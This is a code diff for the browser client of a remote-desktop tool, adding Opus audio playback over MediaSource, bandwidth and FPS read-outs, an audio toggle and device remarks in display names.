||||||
|
document.body.appendChild(_audioElement);
|
||||||
|
_mediaSource = new MediaSource();
|
||||||
|
_mediaSource.addEventListener('sourceopen', _onSourceOpen);
|
||||||
|
_audioElement.src = URL.createObjectURL(_mediaSource);
|
||||||
|
_audioElement.play().then(
|
||||||
|
() => console.log('[MSE] audio.play() ok'),
|
||||||
|
e => console.error('[MSE] audio.play() rejected:', e && e.message)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function _onSourceOpen() {
|
||||||
|
console.log('[MSE] sourceopen, readyState=' + (_mediaSource && _mediaSource.readyState));
|
||||||
|
if (audioFormat && audioFormat.compression === 1) {
|
||||||
|
_addSourceBufferAndInit();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function _addSourceBufferAndInit() {
|
||||||
|
if (!_mediaSource || _mediaSource.readyState !== 'open' || _sourceBuffer) return;
|
||||||
|
const mime = 'audio/webm; codecs="opus"';
|
||||||
|
if (!window.MediaSource || !MediaSource.isTypeSupported(mime)) {
|
||||||
|
console.error('[MSE] ' + mime + ' not supported by this browser');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
_sourceBuffer = _mediaSource.addSourceBuffer(mime);
|
||||||
|
} catch (e) {
|
||||||
|
console.error('[MSE] addSourceBuffer failed:', e && e.message);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
_sourceBuffer.addEventListener('updateend', () => {
|
||||||
|
_sourceBufferBusy = false;
|
||||||
|
_flushSourceBufferQueue();
|
||||||
|
});
|
||||||
|
_sourceBuffer.addEventListener('error', e => console.error('[MSE] sourceBuffer error', e));
|
||||||
|
// Init segment first
|
||||||
|
_enqueueAppend(WebMMuxer.buildInitSegment(audioFormat.sampleRate, audioFormat.channels));
|
||||||
|
_initSegmentSent = true;
|
||||||
|
_opusTimestampMs = 0;
|
||||||
|
// Flush packets that arrived before SourceBuffer was ready
|
||||||
|
while (_pendingOpusPackets.length > 0) {
|
||||||
|
const pkt = _pendingOpusPackets.shift();
|
||||||
|
_enqueueAppend(WebMMuxer.buildCluster(pkt, _opusTimestampMs));
|
||||||
|
_opusTimestampMs += OPUS_FRAME_MS;
|
||||||
|
}
|
||||||
|
console.log('[MSE] SourceBuffer ready, init segment + ' +
|
||||||
|
(_opusTimestampMs / OPUS_FRAME_MS) + ' queued packets appended');
|
||||||
|
}
|
||||||
|
|
||||||
|
function _enqueueAppend(data) {
|
||||||
|
_sourceBufferQueue.push(data);
|
||||||
|
_flushSourceBufferQueue();
|
||||||
|
}
|
||||||
|
function _flushSourceBufferQueue() {
|
||||||
|
if (!_sourceBuffer || _sourceBufferBusy) return;
|
||||||
|
if (_sourceBufferQueue.length === 0) return;
|
||||||
|
const next = _sourceBufferQueue.shift();
|
||||||
|
_sourceBufferBusy = true;
|
||||||
|
try {
|
||||||
|
_sourceBuffer.appendBuffer(next);
|
||||||
|
} catch (e) {
|
||||||
|
console.error('[MSE] appendBuffer threw:', e && e.message);
|
||||||
|
_sourceBufferBusy = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function pushOpusPacket(opusBytes) {
|
||||||
|
if (!audioFormat || audioFormat.compression !== 1) return;
|
||||||
|
if (_sourceBuffer && _initSegmentSent) {
|
||||||
|
_enqueueAppend(WebMMuxer.buildCluster(opusBytes, _opusTimestampMs));
|
||||||
|
_opusTimestampMs += OPUS_FRAME_MS;
|
||||||
|
} else {
|
||||||
|
// Stash until SourceBuffer is ready. Cap at ~3s of audio.
|
||||||
|
const maxQueued = Math.ceil(3000 / OPUS_FRAME_MS);
|
||||||
|
while (_pendingOpusPackets.length >= maxQueued) _pendingOpusPackets.shift();
|
||||||
|
_pendingOpusPackets.push(new Uint8Array(opusBytes));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Remove the SourceBuffer (so a new format/codec can be set up) but
|
||||||
|
// KEEP the same MediaSource and <audio> element. They hold our
|
||||||
|
// gesture-acquired play() permission — recreating either would
|
||||||
|
// require a fresh user tap on iOS. Never call endOfStream(), that
|
||||||
|
// transitions MediaSource to 'ended' which forbids future
|
||||||
|
// addSourceBuffer().
|
||||||
|
function stopAllAudio() {
|
||||||
|
if (_sourceBuffer && _mediaSource && _mediaSource.readyState === 'open') {
|
||||||
|
try { _mediaSource.removeSourceBuffer(_sourceBuffer); } catch (e) {}
|
||||||
|
}
|
||||||
|
_sourceBuffer = null;
|
||||||
|
_sourceBufferQueue.length = 0;
|
||||||
|
_sourceBufferBusy = false;
|
||||||
|
_initSegmentSent = false;
|
||||||
|
_opusTimestampMs = 0;
|
||||||
|
_pendingOpusPackets.length = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleAudioFrame(data) {
|
||||||
|
if (!audioEnabled) return;
|
||||||
|
|
||||||
|
const u8 = new Uint8Array(data);
|
||||||
|
if (u8.length < 1) return;
|
||||||
|
|
||||||
|
let offset = 0;
|
||||||
|
const hasFormat = u8[offset++];
|
||||||
|
|
||||||
|
if (hasFormat) {
|
||||||
|
if (u8.length < offset + 12) {
|
||||||
|
console.warn('[Audio] truncated format header');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// AudioFormat (12 bytes, commands.h, pack(1))
|
||||||
|
const view = new DataView(data, offset, 12);
|
||||||
|
const channels = view.getUint16(0, true);
|
||||||
|
const sampleRate = view.getUint32(2, true);
|
||||||
|
const bitsPerSample = view.getUint16(6, true);
|
||||||
|
const blockAlign = view.getUint16(8, true);
|
||||||
|
const compression = view.getUint8(10);
|
||||||
|
offset += 12;
|
||||||
|
offset += 1; // padding byte
|
||||||
|
|
||||||
|
if (channels === 0 || channels > 8) { console.error('[Audio] bad channels:', channels); return; }
|
||||||
|
if (sampleRate < 8000 || sampleRate > 48000) { console.error('[Audio] bad sampleRate:', sampleRate); return; }
|
||||||
|
|
||||||
|
const fmt = { compression, channels, sampleRate, bitsPerSample, blockAlign };
|
||||||
|
const needReinit = !audioFormat ||
|
||||||
|
audioFormat.sampleRate !== fmt.sampleRate ||
|
||||||
|
audioFormat.channels !== fmt.channels ||
|
||||||
|
audioFormat.compression !== fmt.compression;
|
||||||
|
audioFormat = fmt;
|
||||||
|
|
||||||
|
if (needReinit) {
|
||||||
|
if (fmt.compression !== 1) {
|
||||||
|
console.error('[Audio] PCM payload not supported by web; set USING_OPUS=1 on client');
|
||||||
|
stopAllAudio();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
stopAllAudio();
|
||||||
|
if (_mediaSource && _mediaSource.readyState === 'open') {
|
||||||
|
_addSourceBufferAndInit();
|
||||||
|
}
|
||||||
|
// else: sourceopen handler will pick up audioFormat when it fires
|
||||||
|
console.log('[Audio] Format → ch=' + fmt.channels +
|
||||||
|
' sr=' + fmt.sampleRate + ' compression=' + fmt.compression);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!audioFormat || audioFormat.compression !== 1) return;
|
||||||
|
if (u8.length <= offset) return;
|
||||||
|
|
||||||
|
// The remaining bytes are one Opus packet (variable length).
|
||||||
|
const opusBytes = new Uint8Array(data, offset);
|
||||||
|
pushOpusPacket(opusBytes);
|
||||||
|
}
|
||||||
|
|
||||||
function handleBinaryFrame(data) {
|
function handleBinaryFrame(data) {
|
||||||
|
// 全部进入的二进制都计入带宽统计:视频帧 + 音频帧 + 终端帧
|
||||||
|
bwBytesAccum += data.byteLength;
|
||||||
// 终端输出帧:4 字节 magic 'TRM1' (0x54 0x52 0x4D 0x31) → 转发到 xterm。
|
// 终端输出帧:4 字节 magic 'TRM1' (0x54 0x52 0x4D 0x31) → 转发到 xterm。
|
||||||
// 视频帧首 4 字节是 deviceID (uint32 LE),撞这个具体值的概率极低;4 字节 magic
|
|
||||||
// 比单字节前缀安全得多,无需额外的状态校验。
|
|
||||||
const u8 = new Uint8Array(data);
|
const u8 = new Uint8Array(data);
|
||||||
if (u8.length >= 4 &&
|
if (u8.length >= 4 &&
|
||||||
u8[0] === 0x54 && u8[1] === 0x52 && u8[2] === 0x4D && u8[3] === 0x31) {
|
u8[0] === 0x54 && u8[1] === 0x52 && u8[2] === 0x4D && u8[3] === 0x31) {
|
||||||
if (termState && termState.term) termState.term.write(u8.subarray(4));
|
if (termState && termState.term) termState.term.write(u8.subarray(4));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Audio frame: frameType byte at offset 4 indicates audio (96 = TOKEN_SCREEN_AUDIO)
|
||||||
|
// Full frame format: [deviceID:4][frameType:1][dataLen:4][hasFormat:1][AudioFormat?][audio_data...]
|
||||||
|
if (u8.length > 4 && u8[4] === 96) {
|
||||||
|
// Skip frame header (9 bytes) and pass audio payload to handler
|
||||||
|
const audioPayload = data.slice(9);
|
||||||
|
handleAudioFrame(audioPayload);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Video frame: [deviceID:4][frameType:1][dataLen:4][videoData...]
|
||||||
const view = new DataView(data);
|
const view = new DataView(data);
|
||||||
const deviceId = view.getUint32(0, true);
|
const deviceId = view.getUint32(0, true);
|
||||||
const frameType = view.getUint8(4);
|
const frameType = view.getUint8(4);
|
||||||
@@ -1721,6 +2099,7 @@
|
|||||||
const q = searchQuery.toLowerCase();
|
const q = searchQuery.toLowerCase();
|
||||||
filtered = filtered.filter(d =>
|
filtered = filtered.filter(d =>
|
||||||
(d.name && d.name.toLowerCase().includes(q)) ||
|
(d.name && d.name.toLowerCase().includes(q)) ||
|
||||||
|
(d.remark && d.remark.toLowerCase().includes(q)) ||
|
||||||
(d.ip && d.ip.toLowerCase().includes(q)) ||
|
(d.ip && d.ip.toLowerCase().includes(q)) ||
|
||||||
(d.os && d.os.toLowerCase().includes(q)) ||
|
(d.os && d.os.toLowerCase().includes(q)) ||
|
||||||
(d.location && d.location.toLowerCase().includes(q)) ||
|
(d.location && d.location.toLowerCase().includes(q)) ||
|
||||||
@@ -1853,7 +2232,7 @@
|
|||||||
'<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>' +
|
'<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>' +
|
||||||
'</svg>' +
|
'</svg>' +
|
||||||
'</button>' +
|
'</button>' +
|
||||||
'<h3>' + escapeHtml(d.name || 'Unknown') + '</h3>' +
|
'<h3>' + escapeHtml(displayName(d)) + '</h3>' +
|
||||||
'<div class="info-row">' +
|
'<div class="info-row">' +
|
||||||
'<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' +
|
'<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' +
|
||||||
'<div class="info"><span class="info-label">Loc:</span> ' + escapeHtml(loc) + '</div>' +
|
'<div class="info"><span class="info-label">Loc:</span> ' + escapeHtml(loc) + '</div>' +
|
||||||
@@ -2120,9 +2499,18 @@
|
|||||||
const compat = checkWebCodecs();
|
const compat = checkWebCodecs();
|
||||||
if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; }
|
if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; }
|
||||||
currentDevice = dev;
|
currentDevice = dev;
|
||||||
document.getElementById('device-name').textContent = currentDevice.name;
|
document.getElementById('device-name').textContent = displayName(currentDevice);
|
||||||
document.getElementById('frame-info').textContent = '';
|
document.getElementById('frame-info').textContent = '';
|
||||||
|
// Reset throughput / resolution read-outs for the new session
|
||||||
|
currentWidth = 0; currentHeight = 0;
|
||||||
|
bwBytesAccum = 0; bwBytesPerSec = 0;
|
||||||
|
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
|
||||||
|
const fbs = document.getElementById('fb-stats');
|
||||||
|
if (fbs) fbs.textContent = '';
|
||||||
updateScreenStatus('connecting');
|
updateScreenStatus('connecting');
|
||||||
|
// Default the audio button to "on" optimistically; server will
|
||||||
|
// correct via connect_result.audio_enabled or audio_state event.
|
||||||
|
applyAudioState(true);
|
||||||
showPage('screen-page');
|
showPage('screen-page');
|
||||||
ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token }));
|
ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token }));
|
||||||
}
|
}
|
||||||
@@ -2145,7 +2533,7 @@
|
|||||||
termState.deviceId = String(id);
|
termState.deviceId = String(id);
|
||||||
termState.ready = false;
|
termState.ready = false;
|
||||||
|
|
||||||
document.getElementById('term-title').textContent = dev.name + ' Terminal';
|
document.getElementById('term-title').textContent = displayName(dev) + ' Terminal';
|
||||||
document.getElementById('term-status-info').textContent = 'Connecting...';
|
document.getElementById('term-status-info').textContent = 'Connecting...';
|
||||||
|
|
||||||
// 先 showPage 让 term-host 拿到真实尺寸;xterm.open() 必须在容器有 size 时调用,
|
// 先 showPage 让 term-host 拿到真实尺寸;xterm.open() 必须在容器有 size 时调用,
|
||||||
@@ -2470,6 +2858,39 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Pretty-print bytes/sec with a compact 1-byte / 1K / 1M scale.
|
||||||
|
function formatBandwidth(bytesPerSec) {
|
||||||
|
if (bytesPerSec < 1024) return bytesPerSec + 'B/s';
|
||||||
|
if (bytesPerSec < 1024 * 1024) return Math.round(bytesPerSec / 1024) + 'K/s';
|
||||||
|
return (bytesPerSec / 1024 / 1024).toFixed(1) + 'M/s';
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1-second ticker that pulls the FPS/bandwidth counters and refreshes
|
||||||
|
// the two read-outs: #frame-info (always visible above the canvas) and
|
||||||
|
// #fb-stats (a chip inside the floating toolbar, only visible while
|
||||||
|
// the toolbar is expanded — that's how the fullscreen mode shows
|
||||||
|
// throughput without cluttering the screen).
|
||||||
|
function renderStats() {
|
||||||
|
// FPS 已经在 decoder.onOutput 里就地更新,renderStats 只负责
|
||||||
|
// 把最新的 fps、bandwidth 组装成显示串写到 DOM。
|
||||||
|
|
||||||
|
bwBytesPerSec = bwBytesAccum;
|
||||||
|
bwBytesAccum = 0;
|
||||||
|
|
||||||
|
const fi = document.getElementById('frame-info');
|
||||||
|
const fs = document.getElementById('fb-stats');
|
||||||
|
if (currentWidth > 0 && currentHeight > 0) {
|
||||||
|
const bw = formatBandwidth(bwBytesPerSec);
|
||||||
|
if (fi) fi.textContent = currentWidth + 'x' + currentHeight +
|
||||||
|
' @ ' + fps + ' fps · ' + bw;
|
||||||
|
if (fs) fs.textContent = bw;
|
||||||
|
} else {
|
||||||
|
if (fi) fi.textContent = '';
|
||||||
|
if (fs) fs.textContent = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
setInterval(renderStats, 1000);
|
||||||
|
|
||||||
function isLandscape() {
|
function isLandscape() {
|
||||||
return window.innerWidth > window.innerHeight;
|
return window.innerWidth > window.innerHeight;
|
||||||
}
|
}
|
||||||
@@ -2566,6 +2987,26 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Reflect server-confirmed audio on/off on the toolbar icon. Server is
|
||||||
|
// authoritative — toggleAudio() does not flip state locally; it only
|
||||||
|
// sends the request and waits for the audio_state broadcast.
|
||||||
|
function applyAudioState(enabled) {
|
||||||
|
audioEnabled = !!enabled;
|
||||||
|
const btn = document.getElementById('btn-audio-bar');
|
||||||
|
if (btn) {
|
||||||
|
// 0x1F50A speaker / 0x1F507 muted speaker
|
||||||
|
btn.innerHTML = audioEnabled ? '🔊' : '🔇';
|
||||||
|
btn.title = audioEnabled ? 'Mute audio' : 'Unmute audio';
|
||||||
|
btn.classList.toggle('muted', !audioEnabled);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function toggleAudio() {
|
||||||
|
if (ws && ws.readyState === WebSocket.OPEN && token) {
|
||||||
|
ws.send(JSON.stringify({ cmd: 'audio_toggle', token }));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Detect touch device (mobile/tablet)
|
// Detect touch device (mobile/tablet)
|
||||||
const isTouchDevice = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0);
|
const isTouchDevice = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0);
|
||||||
|
|
||||||
@@ -3440,6 +3881,10 @@
|
|||||||
});
|
});
|
||||||
|
|
||||||
function disconnect() {
|
function disconnect() {
|
||||||
|
// Reset throughput / resolution read-outs
|
||||||
|
currentWidth = 0; currentHeight = 0;
|
||||||
|
bwBytesAccum = 0; bwBytesPerSec = 0;
|
||||||
|
frameCount = 0; lastFrameTime = performance.now(); fps = 0;
|
||||||
// Reset control mode
|
// Reset control mode
|
||||||
controlEnabled = false;
|
controlEnabled = false;
|
||||||
// Reset keyboard state (blur event will update button state)
|
// Reset keyboard state (blur event will update button state)
|
||||||
@@ -3488,6 +3933,14 @@
|
|||||||
return div.innerHTML;
|
return div.innerHTML;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 设备显示名:有备注则 "hostname (备注)",否则就是 hostname。
|
||||||
|
// 服务端备注从 m_ClientMap MAP_NOTE 取(参看 BuildDeviceListJson)。
|
||||||
|
function displayName(d) {
|
||||||
|
if (!d) return '';
|
||||||
|
const name = d.name || 'Unknown';
|
||||||
|
return d.remark ? (name + ' (' + d.remark + ')') : name;
|
||||||
|
}
|
||||||
|
|
||||||
function startPingInterval() {
|
function startPingInterval() {
|
||||||
if (pingInterval) clearInterval(pingInterval);
|
if (pingInterval) clearInterval(pingInterval);
|
||||||
pingInterval = setInterval(() => {
|
pingInterval = setInterval(() => {
|
||||||
|
|||||||
Reference in New Issue
Block a user